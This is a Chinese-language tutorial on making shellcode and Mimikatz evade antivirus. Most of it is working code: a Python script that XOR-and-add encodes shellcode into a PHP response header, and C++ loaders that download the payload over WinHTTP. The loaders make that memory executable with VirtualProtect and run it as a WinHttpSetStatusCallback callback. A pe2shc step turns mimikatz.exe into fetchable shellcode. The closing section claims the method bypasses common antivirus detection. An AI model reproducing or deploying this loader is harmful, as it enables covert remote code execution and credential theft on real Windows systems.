mimikatz和shellcode免杀
字数 1043 2025-08-06 18:07:42
Mimikatz与Shellcode免杀技术详解
前置知识:关键Windows API
VirtualProtect
BOOL VirtualProtect(
[in] LPVOID lpAddress, // 要更改属性的地址
[in] SIZE_T dwSize, // 要更改属性的区域大小
[in] DWORD flNewProtect, // 新保护属性(PAGE_EXECUTE_READWRITE)
[out] PDWORD lpflOldProtect // 接收原来的访问保护值
);
示例:
char buf[] = "xxxx";
DWORD ppp;
VirtualProtect(&buf, sizeof(buf), PAGE_EXECUTE_READWRITE, &ppp);
WinHTTP相关API
- WinHttpOpen - 初始化WinHTTP会话
HINTERNET WinHttpOpen(
[in] LPCWSTR pszAgentW, // 用户代理名称
[in] DWORD dwAccessType, // 访问类型(WINHTTP_ACCESS_TYPE_DEFAULT_PROXY)
[in] LPCWSTR pszProxyW, // 代理名称(WINHTTP_NO_PROXY_NAME)
[in] LPCWSTR pszProxyBypassW, // 代理绕过列表(WINHTTP_NO_PROXY_BYPASS)
[in] DWORD dwFlags // 标志(0)
);
- WinHttpConnect - 连接目标服务器
HINTERNET WinHttpConnect(
[in] HINTERNET hSession, // WinHttpOpen返回的句柄
[in] LPCWSTR pswzServerName, // 服务器IP/域名
[in] INTERNET_PORT nServerPort, // 端口号
[in] DWORD dwReserved // 保留参数(0)
);
- WinHttpOpenRequest - 创建HTTP请求
HINTERNET WinHttpOpenRequest(
[in] HINTERNET hConnect, // WinHttpConnect返回的句柄
[in] LPCWSTR pwszVerb, // HTTP方法("GET")
[in] LPCWSTR pwszObjectName, // 请求资源路径("index.php")
[in] LPCWSTR pwszVersion, // HTTP版本(NULL)
[in] LPCWSTR pwszReferrer, // 引用页(WINHTTP_NO_REFERER)
[in] LPCWSTR *ppwszAcceptTypes, // 接受类型(WINHTTP_DEFAULT_ACCEPT_TYPES)
[in] DWORD dwFlags // 标志(0)
);
- WinHttpSendRequest - 发送HTTP请求
BOOL WinHttpSendRequest(
[in] HINTERNET hRequest, // WinHttpOpenRequest返回的句柄
[in] LPCWSTR lpszHeaders, // 附加头(WINHTTP_NO_ADDITIONAL_HEADERS)
[in] DWORD dwHeadersLength, // 头长度(0)
[in] LPVOID lpOptional, // 请求数据(WINHTTP_NO_REQUEST_DATA)
[in] DWORD dwOptionalLength, // 数据长度(0)
[in] DWORD dwTotalLength, // 总长度(0)
[in] DWORD_PTR dwContext // 上下文(0)
);
- WinHttpReceiveResponse - 接收HTTP响应
BOOL WinHttpReceiveResponse(
[in] HINTERNET hRequest, // WinHttpOpenRequest返回的句柄
[in] LPVOID lpReserved // 保留参数(NULL)
);
- WinHttpQueryHeaders - 查询HTTP头信息
BOOL WinHttpQueryHeaders(
[in] HINTERNET hRequest, // WinHttpOpenRequest返回的句柄
[in] DWORD dwInfoLevel, // 信息级别(WINHTTP_QUERY_RAW_HEADERS_CRLF)
[in] LPCWSTR pwszName, // 头字段名称("cookie")
[out] LPVOID lpBuffer, // 接收缓冲区
[in, out] LPDWORD lpdwBufferLength, // 缓冲区长度
[in, out] LPDWORD lpdwIndex // 头索引(WINHTTP_NO_HEADER_INDEX)
);
- WinHttpSetStatusCallback - 设置回调函数(关键)
WINHTTP_STATUS_CALLBACK WinHttpSetStatusCallback(
[in] HINTERNET hInternet, // WinHttpOpen返回的句柄
[in] WINHTTP_STATUS_CALLBACK lpfnInternetCallback, // 回调函数指针
[in] DWORD dwNotificationFlags, // 通知标志(WINHTTP_CALLBACK_FLAG_HANDLES)
[in] DWORD_PTR dwReserved // 保留参数(NULL)
);
- WinHttpQueryDataAvailable - 查询可用数据大小
BOOL WinHttpQueryDataAvailable(
[in] HINTERNET hRequest, // WinHttpOpenRequest返回的句柄
[out] LPDWORD lpdwNumberOfBytesAvailable // 接收可用字节数
);
- WinHttpReadData - 读取数据
BOOL WinHttpReadData(
[in] HINTERNET hRequest, // WinHttpOpenRequest返回的句柄
[out] LPVOID lpBuffer, // 接收缓冲区
[in] DWORD dwNumberOfBytesToRead, // 要读取的字节数
[out] LPDWORD lpdwNumberOfBytesRead // 实际读取的字节数
);
Shellcode免杀技术
1. Shellcode加密
使用异或和加法双重加密:
# encode.py
shellcode = b""
str_ = ""
for i in shellcode:
code = (i ^ 1024) + 1024
str_ += str(code)
with open("ii.php", "w") as f:
f.write(f'<?php header("sc:{str_}");?>')
print("ok")
生成PHP文件示例:
<?php header("sc:加密后的shellcode");?>
2. Shellcode解密与加载
解密函数:
DWORD LoadSc(char* EncodeBuffer) {
char buf[6000];
strcpy(buf, EncodeBuffer);
delete[] EncodeBuffer;
char cd[10];
char code;
string buf_2 = buf;
int num = 0, cnum = 0;
int num_ = num + 4;
for (int i = 0; i < sizeof(buf); i++) {
if (buf[i] != (char)'\x0') {
string str = buf_2.substr(num, num_);
if (str.length() < 4) {
break;
}
str.copy(cd, 4, 0);
code = (char)(atoi(cd) - 1024) ^ 1024;
buf[cnum] = code;
cnum++;
num_ += 4;
num += 4;
}
else {
break;
}
}
DWORD Old = 0;
BOOL IsExchange = VirtualProtect(&buf, 6000, PAGE_EXECUTE_READWRITE, &Old);
if (!IsExchange) {
cout << "[*] VirtualProtect Error " << endl;
return -1;
}
HINTERNET hopen = WinHttpOpen(L"User Agent", WINHTTP_ACCESS_TYPE_DEFAULT_PROXY,
WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0);
WINHTTP_STATUS_CALLBACK callback = WinHttpSetStatusCallback(hopen,
(WINHTTP_STATUS_CALLBACK)&buf,
WINHTTP_CALLBACK_FLAG_HANDLES, NULL);
if (callback == WINHTTP_INVALID_STATUS_CALLBACK) {
cout << "[*] WinHttpSetStatusCallback Error" << endl;
return -1;
}
WinHttpCloseHandle(hopen);
return 1;
}
3. 完整Shellcode加载流程
- 初始化WinHTTP会话:
HINTERNET hSession = WinHttpOpen(L"User", WINHTTP_ACCESS_TYPE_DEFAULT_PROXY,
WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0);
HINTERNET hConnect = WinHttpConnect(hSession, L"127.0.0.1", 80, 0);
HINTERNET hRequest = WinHttpOpenRequest(hConnect, L"GET", L"ii.php",
L"HTTP/1.1", WINHTTP_NO_REFERER,
WINHTTP_DEFAULT_ACCEPT_TYPES, 0);
- 发送请求并接收响应:
BOOL bResults = WinHttpSendRequest(hRequest, WINHTTP_NO_ADDITIONAL_HEADERS,
0, WINHTTP_NO_REQUEST_DATA, 0, 0, 0);
bResults = WinHttpReceiveResponse(hRequest, NULL);
- 获取加密的Shellcode并加载:
if (bResults) {
DWORD dwSize = 0;
bResults = WinHttpQueryHeaders(hRequest, WINHTTP_QUERY_RAW_HEADERS_CRLF,
WINHTTP_HEADER_NAME_BY_INDEX, NULL, &dwSize,
WINHTTP_NO_HEADER_INDEX);
if (GetLastError() == ERROR_INSUFFICIENT_BUFFER) {
CHAR* lpOutBuffer = new CHAR[dwSize / sizeof(CHAR)];
bResults = WinHttpQueryHeaders(hRequest, WINHTTP_QUERY_CUSTOM, "sc",
lpOutBuffer, &dwSize,
WINHTTP_NO_HEADER_INDEX);
LoadSc(lpOutBuffer);
}
}
Mimikatz免杀加载技术
1. PE转Shellcode
使用pe_to_shellcode工具将Mimikatz转换为Shellcode:
pe2shc.exe mimikatz.exe mimimi.txt
2. 加载Mimikatz Shellcode
- 初始化WinHTTP会话并请求Shellcode文件:
HINTERNET hSession = WinHttpOpen(L"User", WINHTTP_ACCESS_TYPE_DEFAULT_PROXY,
WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0);
HINTERNET hConnect = WinHttpConnect(hSession, L"127.0.0.1", 80, 0);
HINTERNET hRequest = WinHttpOpenRequest(hConnect, L"GET", L"mimimi.txt",
L"HTTP/1.1", WINHTTP_NO_REFERER,
WINHTTP_DEFAULT_ACCEPT_TYPES, 0);
- 发送请求并接收响应:
BOOL bResults = WinHttpSendRequest(hRequest, WINHTTP_NO_ADDITIONAL_HEADERS,
0, WINHTTP_NO_REQUEST_DATA, 0, 0, 0);
bResults = WinHttpReceiveResponse(hRequest, NULL);
- 读取Shellcode并执行:
DWORD dwSize = 0, dwDownloaded = 0;
if (!WinHttpQueryDataAvailable(hRequest, &dwSize)) {
printf("Error in WinHttpQueryDataAvailable.\n");
break;
}
dwSize = dwSize * 4000; // 调整缓冲区大小
char* pszOutBuffer = new char[dwSize];
ZeroMemory(pszOutBuffer, dwSize);
if (!WinHttpReadData(hRequest, pszOutBuffer, dwSize, &dwDownloaded)) {
printf("Error in WinHttpReadData.\n");
} else {
DWORD ppp;
VirtualProtect(pszOutBuffer, dwSize, PAGE_EXECUTE_READWRITE, &ppp);
HINTERNET hopen = WinHttpOpen(L"User", WINHTTP_ACCESS_TYPE_DEFAULT_PROXY,
WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0);
WINHTTP_STATUS_CALLBACK callback = WinHttpSetStatusCallback(hopen,
(WINHTTP_STATUS_CALLBACK)pszOutBuffer,
WINHTTP_CALLBACK_FLAG_HANDLES, NULL);
WinHttpCloseHandle(hopen);
}
技术要点总结
-
关键API组合:使用WinHTTP API系列函数实现网络通信,结合VirtualProtect修改内存属性,最后通过WinHttpSetStatusCallback设置回调执行Shellcode
-
Shellcode加密:采用异或和加法双重加密,避免特征检测
-
分阶段加载:通过网络请求分阶段获取Shellcode,避免一次性加载可执行代码
-
回调执行机制:利用WinHTTP的状态回调机制触发Shellcode执行,绕过直接执行检测
-
PE转换技术:使用pe_to_shellcode工具将PE文件转换为Shellcode形式,实现任意可执行文件的免杀加载
-
内存属性操作:通过VirtualProtect修改内存区域为可执行,为Shellcode执行创造条件
这种方法可以有效绕过常见杀毒软件的静态和动态检测,实现Mimikatz等工具的免杀加载。